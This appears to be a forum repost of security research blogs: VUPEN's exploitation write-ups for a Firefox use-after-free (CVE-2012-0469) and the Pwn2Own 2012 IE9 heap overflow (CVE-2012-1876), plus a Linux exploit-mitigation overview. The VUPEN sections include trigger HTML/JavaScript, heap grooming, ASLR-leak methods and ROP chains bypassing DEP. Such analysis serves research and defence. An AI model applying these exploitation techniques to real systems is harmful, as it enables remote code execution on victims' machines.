0xFFF) [base_addr + offset * 4 + 0xFC0C4] |= value Giving [0x140FC19C] |= 0x20000000, with the address 0x140FC19C pointing to the pointer to next object. The dword now points to address 0x340FC19C. By spraying the end of the heap spray used for the ROP with pointer to the beginning on the ROP, for example 0x34000000, the fake vTable will point in the beginning of the ROP. Actually, the corruptions for the info leak and the DOM pointer overwrite, can be performed by replacing only one IDBKeyRange object. The complete code dealing with the freed object is as follows: .text:1053A8D8 void mozilla::dom::indexedDB::IDBKeyRange::cycleCollection ::Trace(mozilla::dom::indexedDB::IDBKeyRange::cycleCollection *this, void *p, void (__cdecl *aCallback)(unsigned int, void *, const char *, void *), void *aClosure) .text:1053A8D8 push ebp .text:1053A8D9 mov ebp, esp .text:1053A8DB push ecx .text:1053A8DC push ecx .text:1053A8DD push esi .text:1053A8DE mov esi, [ebp+p] // Retrieve freed object .text:1053A8E1 mov eax, [esi+24h] .text:1053A8E4 cmp eax, 0FFFFFF85h // Check the value of [esi+24h] .text:1053A8E7 jb short loc_1053A901 .text:1053A8E9 mov eax, [esi+20h] // EAX will be processed .text:1053A8EC test eax, eax .text:1053A8EE jz short loc_1053A901 .text:1053A8F0 push [ebp+aClosure] .text:1053A8F3 push offset aMcachedlowerva ; "mCachedLowerVal" .text:1053A8F8 push eax .text:1053A8F9 push 2 .text:1053A8FB call [ebp+aCallback] //CheckParticipatesInCycleCollection() ... .text:1053A901 cmp dword ptr [esi+2Ch], 0FFFFFF85h .text:1053A905 mov eax, [esi+28h] .text:1053A908 jb short loc_1053A91F .text:1053A90A test eax, eax .text:1053A90C jz short loc_1053A91F .text:1053A90E push [ebp+aClosure] .text:1053A911 push offset aMcachedupperva ; "mCachedUpperVal" .text:1053A916 push eax .text:1053A917 push 2 .text:1053A919 call [ebp+aCallback] //CheckParticipatesInCycleCollection() ... .text:1053A921 retn 10h The first overwrite can then be performed with the mCachedLowerVal field, and the second one will be performed with the mCachedUpperVal. The final exploit object will then looks as follows: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\xFF\xFF\xFF\x41\x41\x41\x41\x85\xFF \xFF\xFF \x42\x42\x42\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 3) Performing the ROP and triggering the overwritten pointer Now that the XUL base address is leaked and the DOM object pointer has been overwritten, a ROP is performed in XUL: Address Value 34000000 xulBase + 16DCE // ADD ESP,14 / RET 34000004 90909090 34000008 90909090 3400000C 90909090 34000010 90909090 34000014 00000003 // Value checked by XUL leading to call [eax+2FC] 34000018 90909090 3400001C xulBase + 0x90D8 // POP EAX / RET 34000020 xulBase + 0xA28280 // Address of VirtualProtectEx() in XUL IAT 34000024 xulBase + 0x1C3B8 // JMP [EAX] 34000028 340000040 // Return address 3400002C FFFFFFFF // Arg1: -1 34000030 340000040 //Arg2: Address to change protection on 34000034 00001000 // Arg3: size = 4096 34000038 00000040 //Arg4: PROT_READ|PROT_WRITE|PROT_EXEC 3400003C 3300003C //Arg5: Address of oldprot 34000040 Shellcode ... 340002FC xulBase + 0x2AC0A // XCHG EAX,ESP / RET After the ROP is performed, the vulnerability can be triggered again. The dword at offset 0x14 needs to be 0x3 in order for a "call [eax+2FC]" to be triggered. The dword at offset 0x2FC will then point to a gadget performing a stack pivot: XCHG EAX,ESP / RET. Each object in the body will have its "getInnerHTML()" function called, including the overwritten object leading to code execution with ASLR and DEP bypass. © Copyright VUPEN Security Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Mozilla Firefox Use-after-free Vulnerabilities (MFSA 2012-22 / CVE-2012-0469)

Advanced Exploitation of Internet Explorer Heap Overflow (Pwn2own 2012) Published on 2012-07-10 16:27:19 UTC by Alexandre Pelletier, Security Researcher @ VUPEN Hi everyone, In this new blog, we will share our technical analysis and advanced exploitation including ASLR/DEP bypass of a heap overflow vulnerability which was discovered by our team and used at Pwn2own 2012 to compromise a fully patched Internet Explorer 9 on Windows 7 SP1. The full exploit we have used at Pwn2own 2012 was a combination of this specific vulnerability (CVE-2012-1876), which is now patched (as part of the MS12-037 bulletin), and another zero-day vulnerability which allowed us to bypass the IE sandbox (Protected Mode). This latter exploit will not be covered here, as it is still unpatched. 1. Technical Analysis of the Vulnerability This critical vulnerability was present in all versions of Microsoft Internet Explorer including IE10 on Windows 8. It results from a heap overflow error which can be triggered with the following piece of code: <html> <body> <table style="table-layout:fixed" > <col id="132" width="41" span="1" > </col> </table> <script> function over_trigger() { var obj_col = document.getElementById("132"); obj_col.width = "42765"; obj_col.span = 1000; } setTimeout("over_trigger();",1); </script> </body> </html> Parsing of the nodes leads to the creation of a "mshtml!CTableLayout": ; ; In function GetLayoutFromFactory() - mshtml.dll (IE8) ; 3CEE2706 PUSH 158 // Size = 344 3CEE270B PUSH 8 // Flags = HEAP_ZERO_MEMORY 3CEE270D PUSH DWORD PTR DS:[3D3D447C] // Heap = 00150000 3CEE2713 CALL EBX // NTDLL.RtlAllocateHeap During the regular processing of the HTML tree, IE eventually adds a new column inside the TABLE by invoking the "mshtml!CTableLayout::AddCol()" function as follows: ; ; In function CTableLayout::AddCol() - mshtml.dll (IE8) ; 3CFB9E66 PUSH EDI 3CFB9E67 MOV EAX,ESI 3CFB9E69 CALL CTableCol::GetAAspan // retrieving SPAN attribute (6) [...] 3CFB9EF2 CMP EAX,DWORD PTR SS:[ARG.1] 3CFB9EF5 JL SHORT 3CFB9F57 3CFB9EF7 MOV EAX,DWORD PTR DS:[EBX+7C] 3CFB9EFA SHR EAX,2 3CFB9EFD MOV ECX,EBX // CTableLayout reference 3CFB9EFF CALL CTableLayout::EnsureCols This latter function will store the information inside the CTableLayout object as we can see from the following code: ; ; In function CTableLayout::EnsureCols - mshtml.dll (IE8) ; 3CEE0371 CMP DWORD PTR DS:[ECX+54],EAX // mshtml.CTableLayout::EnsureCols 3CEE0374 JGE SHORT 3CEE0379 3CEE0376 MOV DWORD PTR DS:[ECX+54],EAX // affecting SPAN to mshtml!CTableLayout 3CEE0379 XOR EAX,EAX 3CEE037B RETN Later during the processing, the layout needs to be computed with "mshtml!CTableLayout::CalculateLayout()" which leads to the following function: ; ; In function CTableLayout_CalculateLayout() - mshtml.dll (IE8) ; 3CF662A9 PUSH DWORD PTR SS:[LOCAL.116] 3CF662AD MOV EAX,DWORD PTR DS:[EBX+60] 3CF662B0 PUSH DWORD PTR SS:[ARG.1] 3CF662B3 MOV DWORD PTR SS:[LOCAL.123],EDX 3CF662B7 PUSH EBX // Arg1 : CTableLayout reference 3CF662B8 MOV DWORD PTR SS:[LOCAL.117],EAX 3CF662BC CALL CTableLayout::CalculateMinMax This latter function will basically create a buffer, affect it to the "mshtml!CTableLayout" and try to fill it with style information from columns. The process begins by retrieving the SPAN attribute from the "mshtml!CTableLayout" object in order to compute a buffer size: ; ; In function CTableLayout::CalculateMinMax() - mshtml.dll (IE8) ; 3CF66A69 MOV EBX,DWORD PTR SS:[ARG.1] // CTableLayout reference 3CF66A6C PUSH ESI 3CF66A6D MOV ESI,DWORD PTR SS:[ARG.2] 3CF66A70 MOV EAX,DWORD PTR DS:[ESI+28] 3CF66A73 MOV DWORD PTR SS:[LOCAL.36],EAX 3CF66A79 MOV EAX,DWORD PTR DS:[EBX+54] // SPAN attribute value at offset +0x54 3CF66A7C MOV DWORD PTR SS:[ARG.1],EAX // updating first argument [...] 3CEED309 LEA ESI,[EBX+90] // sub-struct in CTableLayout at +0x90 3CEED30F JL 3CFBA54A // [ESI+8] is null at this time 3CEED315 CMP EDX,DWORD PTR DS:[ESI+8] // EDX from ARG1 3CEED318 JBE SHORT 3CEED32D 3CEED31A PUSH 1C // Arg1 = 1C 3CEED31C MOV EAX,EDX // SPAN = 6 3CEED31E MOV EDI,ESI // sub-struct of CTableLayout at +0x90 3CEED320 CALL CImplAry::EnsureSizeWorker // buffer creation "CimplAry::EnsureSizeWorker()" will create a buffer of 0xA8 bytes based on the SPAN attribute. It takes as argument a value of 0x1C, and EAX contains the number supplied via the SPAN attribute which is 6 in our case. It will basically compute a size of 0x1C * 6 = 0xA8 bytes: ; ; In function CImplAry::EnsureSizeWorker - mshtml.dll (IE8) ; 3CF75198 MOV EAX,DWORD PTR SS:[EBP-4] // EAX is 6, [EBP+8] is 0x1c 3CF7519B MUL DWORD PTR SS:[EBP+8] // result 0xa8 in EAX 3CF7519E PUSH EDX // Arg2 3CF7519F PUSH EAX // Arg1 3CF751A0 LEA EAX,[EBP-8] // will receive the result 3CF751A3 CALL ULongLongToUInt [...] 3CF751B8 PUSH DWORD PTR SS:[EBP-8] // Arg1, push 0xa8 3CF751BB LEA ESI,[EDI+0C] // previous sub-structure of CTableLayout 3CF751BE CALL HeapRealloc A call to "HeapRealloc()" is performed with 0xA8 as the parameter and affecting the pointer at EDI+0xC, with EDI = CTableLayout+0x90. This means that the buffer is at offset +0x9C from "mshtml!CTableLayout". At this time, "mshtml!CTableLayout" contains a buffer reference which can contain at most 0xA8 bytes. The following figure shows the layout of the object: ; ; Object mshtml!CTableLayout ; Address Hex dump 023A0498 98 3E F7 3C|A0 14 22 00|E0 D4 46 02|B0 73 F7 3C| 023A04A8 01 00 00 00|00 00 00 00|0D 08 08 01|FF FF FF FF| 023A04B8 00 00 00 00|00 00 00 00|00 00 00 00|FF FF FF FF| 023A04C8 94 05 02 00|C4 D1 00 00|00 00 00 00|00 00 00 00| 023A04D8 00 00 00 00|02 28 01 00|00 00 00 00|00 00 00 00| 023A04E8 00 00 00 00|06 00 00 00|00 00 00 00|FF FF FF FF| 023A04F8 00 00 00 00|FF FF FF FF|9C F6 F6 3C|04 00 00 00| 023A0508 04 00 00 00|D0 06 43 02|9C F6 F6 3C|18 00 00 00| 023A0518 06 00 00 00|10 8D 1A 00|00 00 00 00|C0 78 A1 02| 023A0528 9C F6 F6 3C|00 00 00 00|00 00 00 00|60 14 47 02| 023A0538 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| [ ] vftable of CTableLayout object [ ] SPAN attribute [ ] Number of columns * 4 (6 columns) [ ] Array of mshtml!CTableCol [ ] Vulnerable buffer of 0xa8 bytes The buffer in red will hold style information for 6 columns as specified via the SPAN attribute. It starts looping over on all available columns (through array at offset +0x84) and retrieving the span attribute of the first column. However, this latter was already updated/modified by the Javascript code: <SCRIPT> var id3 = document.getElementById("id3"); id3.span="7"; </SCRIPT> Thus, this time the "CTableCol::GetAAspan()" function returns 7: ; ; In function CTableLayout::CalculateMinMax() - mshtml.dll (IE8) ; 3D12EB66 |MOV EAX,DWORD PTR DS:[EBX+84] // retrieving array of columns 3D12EB6C |MOV ECX,DWORD PTR SS:[EBP-8] 3D12EB6F |MOV EDI,DWORD PTR DS:[ECX*4+EAX] [...] 3D12EB9D |CALL CTableCol::GetAAspan // returns updated SPAN value (7) 3D12EBA2 |CMP EAX,3E8 3D12EBA7 |MOV DWORD PTR SS:[EBP+10],EAX // stored in ARG.3 [...] 3D12EC70 |PUSH 0 3D12EC72 |PUSH ESI 3D12EC73 |CALL CWidthUnitValue::GetPixelWidth // returns value from attribute width 3D12EC78 |CMP DWORD PTR SS:[EBP-60],0 3D12EC7C |MOV DWORD PTR SS:[EBP-30],EAX // stored in [EBP-30] The buffer is then directly filled in: ; ; In function CTableLayout::CalculateMinMax() - mshtml.dll (IE8) ; 3D12ECD4 |MOV EAX,DWORD PTR SS:[EBP-30] 3D12ECD7 |MOV DWORD PTR SS:[EBP-0C],EAX // WIDTH stored in [EBP-0C] [...] 3D12ED0C |/MOV ECX,DWORD PTR SS:[EBP-24] 3D12ED0F ||MOV EAX,DWORD PTR DS:[EBX+9C] // buffer retrieved 3D12ED15 ||ADD EAX,ECX [...] 3D12ED3A ||PUSH DWORD PTR SS:[EBP-40] // Arg3 3D12ED3D ||MOV EAX,DWORD PTR SS:[EBP-34] 3D12ED40 ||PUSH DWORD PTR SS:[EBP+0C] // Arg2 3D12ED43 ||MOV ESI,DWORD PTR SS:[EBP-28] 3D12ED46 ||PUSH DWORD PTR SS:[EBP-0C] // Arg1 => attribute of width 3D12ED49 ||CALL CTableColCalc::AdjustForCol // filling current NODE This latter function will fill the buffer with one NODE structure of size 0x1C and roughly composed of values resulting from the supplied WIDTH attribute. However due to the SPAN attribute being dynamically updated via Javascript, the execution leads to several additional iterations within the loop which eventually leads to an out-of-bounds write condition. The end condition of the loop is reached in the following code: ; ; In function CTableLayout::CalculateMinMax() - mshtml.dll (IE8) ; 3D12ED58 ||CMP EAX,DWORD PTR SS:[EBP+10] // end condition when counter > ARG.3 3D12ED5B |\JL SHORT 3D12ED0C // (ARG.3 is the updated SPAN attribute) This means that 7 structures of size 0x1C will be processed although there is space only for 6 of these structures, leading to an exploitable heap overflow condition which could allow remote attackers to compromise a vulnerable system via a specially crafted web page. 2. Advanced Exploitation With ASLR/DEP Bypass As this vulnerability results in a heap overflow condition, it can be exploited to achieve code execution by bypassing both DEP and ASLR. This can be achieved by leaking an address of the mshtml.dll module, building a heap spray based on this address and triggering the vulnerability again to execute the payload. Leaking Addresses / IE9 on Windows 7 On systems such as Windows 7 where ASLR is enabled by default, hardcoded addresses cannot be used in the ROP. We need extra information to find gadgets, e.g. the base address of the mshtml.dll library. In order to leak the base address of mshtml.dll under IE9, the idea is to read the vTable of an object: mshtml!CButtonLayout. This table is set at a fixed offset inside each version of the DLL, so knowing it leads to knowing the base address. To achieve the leak, we must craft the heap in order to have the following layout: Heap Layout required for ASLR bypass: [E][A][A][A][E][A][A][A]... [A] Allocated string of size 0x100 [E] Freed object of size 0x100 (empty / hole) Allocated object of size 0xFC (mshtml!CButtonLayout) BSTR (basic string) Here is the representation of the BSTR string in memory: Address Hex dump UNICODE 046971B8 45 00 45 00|45 00 45 00|45 00 45 00|45 00 45 00| EEEEEEEE 046971C8 00 00 00 00|00 00 00 00|9E 8E FC 5F|00 00 00 88| 046971D8 FA 00 00 00|41 00 41 00|41 00 41 00|41 00 41 00| ú.AAAAAA 046971E8 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| AAAAAAAA [...] 046972B8 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| AAAAAAAA 046972C8 41 00 41 00|41 00 41 00|41 00 41 00|41 00 00 00| AAAAAAA. 046972D8 FF 8E FC 5F|00 00 00 88|48 97 8F 6A|B8 B8 3D 03| 046972E8 C0 05 70 04|09 08 08 01|C8 98 8F 6A|00 92 C3 6A| [...] [ ] beginning of string: first DWORD is size [ ] end of string [ ] heap pointers [ ] next buffer user data (vTable of mshtml!CButtonLayout) As we can see, the first DWORD is the full length of the string. The whole allocated size is aligned on 0x8. Thus a string of 125 characters will lead to the allocation of a buffer of 0x100 (125*2 + 6 = 0x100). Once the heap layout is created, let's see what happens when the vulnerable buffer is requested in function "CImplAry::EnsureSizeWorker()". As expected, the requested buffer will take the place of one of the previously created holes at 0x04696DB8: Address Hex dump UNICODE 04696DB8 21 08 45 00|45 00 45 00|45 00 45 00|45 00 45 00| ?EEEEEEE 04696DC8 45 00 45 00|45 00 45 00|45 00 45 00|45 00 45 00| EEEEEEEE 04696E88 45 00 45 00|45 00 45 00|45 00 45 00|45 00 45 00| EEEEEEEE 04696E98 45 00 45 00|45 00 45 00|45 00 45 00|45 00 45 00| EEEEEEEE 04696EA8 45 00 45 00|45 00 45 00|00 00 00 00|00 00 00 00| EEEE.... 04696EB8 73 8D FC 5F|00 00 00 88|FA 00 00 00|41 00 41 00| 04696EC8 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| AAAAAAAA [...] [ ] Vulnerable buffer allocated at 0x04696DB8 [ ] BSTR string of 0x100 at 0x04696EC0 with its size as the first DWORD [ ] Heap pointers (or offsets) Hence, when the overflow occurs, the first DWORD of the BSTR string will be overwritten as follows: Address Hex dump UNICODE 04696DB8 04 10 00 00|04 10 00 00|04 10 00 00|00 00 00 00| 04696DC8 45 00 45 00|41 00 45 00|04 10 00 00|08 00 00 00| [...] 04696E78 04 10 00 00|04 10 00 00|04 10 00 00|00 00 00 00| 04696E88 45 00 45 00|41 00 45 00|04 10 00 00|08 00 00 00| 04696E98 04 10 00 00|04 10 00 00|04 10 00 00|00 00 00 00| 04696EA8 45 00 45 00|41 00 45 00|04 10 00 00|08 00 00 00| 04696EB8 04 10 00 00|04 10 00 00|04 10 00 00|41 00 41 00| <-- first DWORD 04696EC8 41 00 41 00|41 00 41 00|04 10 00 00|08 00 00 00| overwritten 04696ED8 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| [...] 04696F98 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| 04696FA8 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| 04696FB8 41 00 41 00|41 00 00 00|5C 8D FC 5F|00 00 00 88| 04696FC8 48 97 8F 6A|B8 B8 3D 03|50 05 70 04|09 08 08 01| 04696FD8 C8 98 8F 6A|00 92 C3 6A|C4 99 8F 6A|01 00 00 00| 04696FE8 00 00 00 00|FF FF FF FF|00 00 00 00|00 00 00 00| 04696FF8 00 00 00 00|FF FF FF FF|80 00 00 00|FF FF FF FF| [ ] Vulnerable buffer at 0x04696DB8 will cause an overflow [ ] BSTR string of 0x100 at 0x04696EC0 with its size as the first DWORD [ ] mshtml!CButtonLayout object allocated at 0x04696FC8 with its vTable [ ] Heap pointers (or offsets) Once the corruption is caused, a JavaScript code will be used in order to read the vTable of "mshtml!CButtonLayout" from address 0x04696FC8. As the length is overwritten, it is possible to read from an arbitrary location to dynamically find the vTable of "mshtml!CButtonLayout" and bypass ASLR. Code Execution and ROP After triggering the vulnerability for a memory leak to disclose interesting addresses, it is possible to trigger the same vulnerability once again to achieve code execution by overflowing the same buffer in memory with arbitrary values. Hence, the previously described heap layout is reused, this time for code execution. Here is the heap state just after the leak: Address Hex dump UNICODE 044BB980 04 10 00 00|04 10 00 00|04 10 00 00|00 00 00 00| ?.?.?... 044BB990 45 00 45 00|41 00 45 00|04 10 00 00|08 00 00 00| EEAE?.. 044BB9A0 04 10 00 00|04 10 00 00|04 10 00 00|00 00 00 00| ?.?.?... 044BB9B0 45 00 45 00|41 00 45 00|04 10 00 00|08 00 00 00| EEAE?.. [...] 044BBA80 04 10 00 00|04 10 00 00|04 10 00 00|41 00 41 00| ?.?.?.AA 044BBA90 41 00 41 00|41 00 41 00|04 10 00 00|08 00 00 00| AAAA?.. 044BBAA0 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| AAAAAAAA [...] 044BBB70 41 00 41 00|41 00 41 00|41 00 41 00|41 00 41 00| AAAAAAAA 044BBB80 41 00 41 00|41 00 00 00|2D CB C4 5A|00 00 00 88| 044BBB90 48 97 A7 6A|50 27 79 02|F0 9F 52 04|09 08 08 01| 044BBBA0 C8 98 A7 6A|00 92 DB 6A|C4 99 A7 6A|01 00 00 00| 044BBBB0 00 00 00 00|FF FF FF FF|00 00 00 00|00 00 00 00| 044BBBC0 00 00 00 00|FF FF FF FF|80 00 00 00|FF FF FF FF| [...] [ ] Vulnerable buffer at 0x04696DB8 will cause the overflow [ ] BSTR string of 0x100 at 0x04696EC0 with its size as the first DWORD [ ] mshtml!CButtonLayout object allocated at 0x04696FC8 with its vTable [ ] Heap pointers (or offsets) The overflow can be triggered via the following code: <table style="table-layout:fixed" > <col id="132" width="41" span="8" > </col> </table> <script> var obj_col_0 = document.getElementById("132"); obj_col_0.span = "9"; </script> [...] By dynamically retrieving the same HTML tag and setting arbitrary values, it becomes possible to trigger the overflow again on the same vulnerable buffer. For instance with the following JavaScript code: <script> var obj_col_0 = document.getElementById("132"); obj_col_0.width = "5389681" // specifying another malicious value obj_col_0.span = "34"; // specifying amount of bytes to overwrite </script> The same buffer will be overflowed with the malicious value 5389681*100=0x20200024 and will cause an overflow of 0x20*18 - 0x100 = 0x140 bytes: Address Hex dump UNICODE 044BB980 24 00 20 20|24 00 20 20|24 00 20 20|00 00 00 00| 044BB990 45 00 45 00|41 00 45 00|24 00 20 20|08 00 00 00| 044BB9A0 24 00 20 20|24 00 20 20|24 00 20 20|00 00 00 00| 044BB9B0 45 00 45 00|41 00 45 00|24 00 20 20|08 00 00 00| [...] 044BBA80 24 00 20 20|24 00 20 20|24 00 20 20|41 00 41 00| 044BBA90 41 00 41 00|41 00 41 00|24 00 20 20|08 00 00 00| 044BBAA0 24 00 20 20|24 00 20 20|24 00 20 20|41 00 41 00| [...] 044BBB70 41 00 41 00|41 00 41 00|24 00 20 20|08 00 00 00| 044BBB80 24 00 20 20|24 00 20 20|24 00 20 20|00 00 00 88| 044BBB90 48 97 A7 6A|50 27 79 02|24 00 20 20|08 08 08 01| 044BBBA0 24 00 20 20|24 00 20 20|24 00 20 20|01 00 00 00| 044BBBB0 00 00 00 00|FF FF FF FF|24 00 20 20|08 00 00 00| 044BBBC0 00 00 00 00|FF FF FF FF|80 00 00 00|FF FF FF FF| 044BBBD0 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| 044BBBE0 00 00 00 00|24 00 00 00|20 00 00 00|00 00 00 00| 044BBBF0 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| [...] [ ] Vulnerable buffer at 0x04696DB8 will cause the overflow [ ] BSTR string of 0x100 at 0x04696EC0 with its size as the first DWORD [ ] mshtml!CButtonLayout object allocated at 0x044BBB90 with its vTable [ ] Heap pointers (or offsets..) [ ] overwritten DWORD to corrupt and crash IE9 As we can see, the same buffer has been overwritten once again. Indeed, the first overflow is useful to get a vTable and produce a specific heap spray, while the second overflow will be used to overwrite a pointer inside the object and execute arbitrary code. By using specific JavaScript code, it is possible to reach the "Celement::EnsureStandardsModeChecked()" function: ; ; In function CElement::EnsureStandardsModeChecked() - mshtml.dll ; 6AD87683 MOV EAX,DWORD PTR DS:[ESI+24] // controlled 6AD87686 TEST EAX,0000C000 6AD8768B JNE 6ADBBEF4 // not taken (controlled) 6AD87691 TEST EAX,00010000 6AD87696 JE 6ADAE6BA // taken (controlled) [...] 6ADAE6BA MOV EDX,DWORD PTR DS:[ESI] // ESI is controlled 6ADAE6BC MOV EAX,DWORD PTR DS:[EDX+148] // EDX is controlled, EAX is controlled 6ADAE6C2 MOV ECX,ESI // ECX is controlled 6ADAE6C4 CALL EAX // code execution For now, the most complicated part of exploitation is already achieved. As Internet Explorer 9 on Windows 7 has also DEP enabled, a classic ROP is required to finalize code execution. The goal of the ROP is to perform the following tasks: - Set ESP to point to a controlled area - Call VirtualProtect() - Jump to the shellcode To bypass ASLR as described in the previous steps, all gadgets used for exploitation and contained within the spray must be dynamically computed based on the leaked addresses. All ROP steps can be performed using the following instructions: ; ; ROP ; 6A7B6D36 MOV EAX,DWORD PTR DS:[ECX] // changing EAX! 6A7B6D38 CALL DWORD PTR DS:[EAX+4] 6A7C568D XCHG EAX,ESP // pivoting the stack 6A823F7A POP EBX // skipping gadgets 6A823F7B POP ESI 6A7B41EE POP EAX // popping address of VirtualProtect in IAT 6A897336 MOV EAX,DWORD PTR DS:[EAX] // retrieving the address of VirtualProtect 6A93A831 CALL EAX // bypassing DEP! 6A93A833 POP EDI 6A93A834 RETN // shellcode execution ! Which leads to arbitrary code execution with Internet Explorer 9 on Windows 7 SP1 despite ASLR and DEP enabled. Sursa: VUPEN Vulnerability Research Blog - Advanced Exploitation of Internet Explorer Heap Overflow / (Pwn2Own 2012 / MS12-037 / CVE-2012-1876)

Exploit Mitigation Techniques on Linux Systems Monday, July 9, 2012 Each year we see phenomenal research works being presented in a number of security conferences and events around the world. Vendors/communities present solutions for existing issues and those on the offensive side present workarounds against these solutions. Eventually this race, between those working on either sides of the coin, helps to make our world a safer place. Over the last decade, reliable exploitation of memory corruption bugs has become extremely difficult. This has happened, primarily, due to the introduction of various exploit mitigation techniques. In this post, we'll be looking at the current state of exploitation within the Linux environment. The following security/mitigation techniques are commonly available on most recent distributions: ASLR NX Stack Canaries FORTIFY_SOURCE RELRO PIE Except for ASLR, which effects system-wide configuration, all of the above techniques are user-space mitigation features that have to be enabled on a per-binary basis. Here is the sample program that we'll be using for our tests: Let's have a detailed look at each of the above techniques: Address Space Layout Randomization - ASLR Enables randomization of various memory allocation segments (stack, mmap, exec, brk, and vdso). When enabled, each invocation of a binary will have its memory allocations randomized with the available virtual address space. As such, an exploit technique like Ret2libc, that requires static memory addresses of common library functions, is no longer effective. The randomize_va_space kernel parameter defines system-wide configuration setting for ASLR. This parameter could be set to the following values: 0 - ASLR is turned OFF 1 - ASLR is turned ON (stack randomization) 2 - ASLR is turned ON (stack, heap, and mmap allocation randomization) Once enabled, each invocation of a program will have different memory locations assigned to it: In the above output note that all the segments of the /bin/cat process are mapped at different memory locations with each invocation. However, closer look provides an interesting observation. The first three segments that contain .text section of the binary (notice the r-x permissions) are mapped at similar locations each time. We will talk about this behavior in much detail within the PIE section. Non-Executable Bit (NX) This feature disallows code execution from marked memory pages/segments. It is also referred to as W^X (W XOR X) due to the fact that the pages marked with this feature could be writable OR executable but not both at the same time. When enabled, a process's memory allocations, that do not contain instructions, will have only rw- permissions assigned to them by default. As such, even if an attacker successfully injects code into a writable memory region through an overflow bug, an attempt to execute code from this section would still fail. NX is enabled through the MMU by setting bit 63 of the page directory entry. Important thing to note here is that this feature is available only on those systems that have 64bit capability or on those systems that use a PAE-enabled kernel. The Execshield and Grsecurity set of kernel patches could also be used to simulate this behavior when the above requirements could not be met: Note the permissions of the GNU_STACK section in the above output. When we request executable stack through the linker option -z execstack, the GCC compiler marks this section as executable with RWE permissions. On my test system, which is an Ubuntu 10.04 derivative with GCC version 4.4.3, the default command-line disables executable stack markings as evident in the output of first command-line. Stack Canaries / Stack-Smashing Protection (SSP) Stack Canaries are a protection feature that safeguard critical program metadata information located on call stack. When enabled, a random canary value is placed on the stack, just below the saved registers from the function prologue. Before a program returns control to its parent, the saved canary value is checked. Any attempts to overwrite the saved return address on the stack will also overwrite the saved cookie and as such the check would fail. In such cases, the __stack_chk_fail function is called, which displays a friendly "stack smashing detected" message and aborts the execution of the program. This mitigation technique also reorders the placement of local variables on the stack. This is done to ensure that any variable, that effects program control, is placed below a buffer that accepts user-supplied input. Such a placement prevents overwriting of variables placed adjacent to buffers. To read more about other such novel ideas implemented in this protection technique, visit this link: SSP GCC versions 4.x include SSP techniques in its native implementation. Prior 3.x versions had this feature through a patch. FORTIFY_SOURCE There are cases when a compiler can correctly estimate the size of a destination operand used in certain string operations. In such cases, the compiler could be requested to replace any vulnerable function calls in the program source with their equivalent safer counterparts. This would eventually make the compiled binary resilient to most overflow attempts without impacting its performance: In the above output you could see that the GCC option -D_FORIFY_SOURCE has been used to include fortifying checks. The call for function printf and gets were replaced with their safer equivalents, __printf_chk and __gets_chk respectively. This option can accept two values: 1 - to enable checks against buffer overflow attacks 2 - to enable checks against buffer overflow and format string attacks RELocation Read-Only (RELRO) Another mitigation technique that safeguard against those exploits that require Global Offset Table (GOT) modifications. For this to work, all dynamic symbol resolutions, requested by a binary, have to be carried out before the program execution begins. Once this is done, the GOT could be marked as read-only, thus preventing any runtime modifications. By default, when we use the GCC linker option -Wl,-z,relro, PLT (Procedure Linking Table) entries, which include references for library functions within a process's memory allocation, are marked as writable (lazy-linking). All other GOT entries apart from PLT remain read-only, providing what is know as Partial-RELRO support: The -z,now option ensures that PLT entries are resolved immediately before execution, thus allowing the entire GOT to be marked as read-only. This ensure that Full-RELRO support is enabled for the compiled program. Position-Independent Executable (PIE) This feature helps to load a program at a random memory location on each invocation. With ASLR enabled, the stack, heap, and mmap allocations are automatically randomized. However, like we saw earlier with the /bin/cat binary, the .text and other sections of a program are still loaded at static addresses. To make all sections of a program to load at random addresses, we need to compile it with PIE support: Programs compiled with this feature are marked as shared relocatable, much similar to shared object libraries used in dynamic linking. To read more, visit this link: PIE Enabling these mitigation techniques will definitely improve the overall security posture of a system, it still does not make it bullet-proof. Some of these techniques might break compatibility with legacy applications, while others might not work as expected. Different distributions use different default configuration settings and as such you can not simply standardize. The most suitable option would be to test your application code first hand with each of these options, carefully considering the tradeoffs and using only those that provide that rare mix of security and usability. Author: 7h3rAm at 11:22 PM Sursa: 7h3rAm's InfoSec Ramblings: Exploit Mitigation Techniques on Linux Systems

Noile API-uri: Raiul pasionatilor de securitate IT, o tona de noi vectori de "atac". Think tricky.

Da, pacat ca mi-e lene acum sa fac ceva